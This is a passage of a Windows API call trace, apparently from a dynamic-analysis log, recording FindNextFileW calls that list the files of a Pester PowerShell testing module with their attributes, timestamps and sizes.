lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987bae9f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987bae9f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987bae9f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeNullOrEmpty.ps1", cAlternateFileName="")) returned 1 [0194.184] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeNullOrEmpty.Tests.ps1", cAlternateFileName="")) returned 1 [0194.184] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986fc293, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x986fc293, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x986fc293, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x573, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeOfType.ps1", cAlternateFileName="")) returned 1 [0194.184] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeOfType.Tests.ps1", cAlternateFileName="")) returned 1 [0194.185] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Contain.ps1", cAlternateFileName="")) returned 1 [0194.185] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986fc293, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x986fc293, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x986fc293, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Contain.Tests.ps1", cAlternateFileName="")) returned 1 [0194.185] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987e10f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987e10f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987e10f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ContainExactly.ps1", cAlternateFileName="")) returned 1 [0194.185] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98748765, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98748765, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98748765, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x361, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ContainExactly.Tests.ps1", cAlternateFileName="")) returned 1 [0194.185] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x121, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Exist.ps1", cAlternateFileName="")) returned 1 [0194.185] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3e7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Exist.Tests.ps1", cAlternateFileName="")) returned 1 [0194.185] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x183, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Match.ps1", cAlternateFileName="")) returned 1 [0194.185] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987bae9f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987bae9f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987bae9f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Match.Tests.ps1", cAlternateFileName="")) returned 1 [0194.185] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98748765, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98748765, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98748765, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MatchExactly.ps1", cAlternateFileName="")) returned 1 [0194.186] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MatchExactly.Tests.ps1", cAlternateFileName="")) returned 1 [0194.186] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8f3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PesterThrow.ps1", cAlternateFileName="")) returned 1 [0194.186] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1340, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PesterThrow.Tests.ps1", cAlternateFileName="")) returned 1 [0194.186] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3f5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Set-TestInconclusive.ps1", cAlternateFileName="")) returned 1 [0194.186] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xca7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Should.ps1", cAlternateFileName="")) returned 1 [0194.186] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x151f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Should.Tests.ps1", cAlternateFileName="")) returned 1 [0194.186] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 1 [0194.186] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 0 [0194.186] FindClose (in: hFindFile=0x4531880 | out: hFindFile=0x4531880) returned 1 [0194.187] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0194.187] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreakAndContinue.Tests.ps1", cAlternateFileName="")) returned 1 [0194.188] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x921, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.ps1", cAlternateFileName="")) returned 1 [0194.188] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98748765, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98748765, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98748765, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.Tests.ps1", cAlternateFileName="")) returned 1 [0194.188] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986fc293, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x986fc293, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x986fc293, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4559, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coverage.ps1", cAlternateFileName="")) returned 1 [0194.188] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2cac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coverage.Tests.ps1", cAlternateFileName="")) returned 1 [0194.188] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xff9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.ps1", cAlternateFileName="")) returned 1 [0194.188] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.Tests.ps1", cAlternateFileName="")) returned 1 [0194.188] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobalMock-A.Tests.ps1", cAlternateFileName="")) returned 1 [0194.188] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobalMock-B.Tests.ps1", cAlternateFileName="")) returned 1 [0194.188] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987bae9f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987bae9f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987bae9f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x335, dwReserved0=0x0, dwReserved1=0x0, cFileName="In.ps1", cAlternateFileName="")) returned 1 [0194.188] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="In.Tests.ps1", cAlternateFileName="")) returned 1 [0194.189] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987bae9f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987bae9f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987bae9f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf41, dwReserved0=0x0, dwReserved1=0x0, cFileName="InModuleScope.ps1", cAlternateFileName="")) returned 1 [0194.189] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="InModuleScope.Tests.ps1", cAlternateFileName="")) returned 1 [0194.189] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987bae9f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987bae9f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987bae9f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.ps1", cAlternateFileName="")) returned 1 [0194.189] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x261a, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.Tests.ps1", cAlternateFileName="")) returned 1 [0194.189] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xbf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mock.ps1", cAlternateFileName="")) returned 1 [0194.189] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe941, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mock.Tests.ps1", cAlternateFileName="")) returned 1 [0194.189] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xcef, dwReserved0=0x0, dwReserved1=0x0, cFileName="New-Fixture.ps1", cAlternateFileName="")) returned 1 [0194.189] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987bae9f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987bae9f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987bae9f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc82, dwReserved0=0x0, dwReserved1=0x0, cFileName="New-Fixture.Tests.ps1", cAlternateFileName="")) returned 1 [0194.189] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4bc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterState.ps1", cAlternateFileName="")) returned 1 [0194.190] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterState.Tests.ps1", cAlternateFileName="")) returned 1 [0194.190] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x370d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupTeardown.ps1", cAlternateFileName="")) returned 1 [0194.190] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986fc293, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x986fc293, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x986fc293, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x15c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupTeardown.Tests.ps1", cAlternateFileName="")) returned 1 [0194.190] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98748765, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98748765, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98748765, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDrive.ps1", cAlternateFileName="")) returned 1 [0194.190] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1054, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDrive.Tests.ps1", cAlternateFileName="")) returned 1 [0194.190] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: 